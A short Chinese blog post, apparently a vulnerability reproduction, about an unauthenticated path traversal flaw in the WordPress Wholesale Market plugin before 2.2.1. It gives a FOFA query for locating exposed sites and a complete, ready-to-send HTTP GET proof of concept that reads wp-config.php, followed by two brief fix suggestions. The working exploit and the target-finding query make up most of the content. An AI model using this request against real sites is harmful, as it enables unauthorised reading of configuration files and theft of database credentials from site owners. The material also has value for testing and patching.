WordPress Wholesale Market 插件 任意文件读取漏洞复现

本文主要是介绍WordPress Wholesale Market 插件 任意文件读取漏洞复现，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

0x01 产品简介

WordPress plugin Wholesale Market 是一个woocommerce扩展插件，使您的商店能够创建批发用户，并通过设置产品的批发价格。

0x02 漏洞概述

WordPress plugin Wholesale Market 2.2.1之前版本存在路径遍历漏洞，该漏洞源于没有进行授权检查，也不会验证用户输入。攻击者利用该漏洞可以从服务器下载任意文件。

0x03 复现环境

FOFA：body="wp-content/plugins/wholesale-market"

0x04 漏洞复现

PoC

GET /wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin&section=ced_cwsm_csv_import_export_module&ced_cwsm_log_download=../../../wp-config.php HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept-Encoding: gzip

读取wp-config.php配置文件

0x05 修复建议 

关闭互联网暴露面或接口设置访问权限

升级至安全版本

这篇关于WordPress Wholesale Market 插件 任意文件读取漏洞复现的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！

---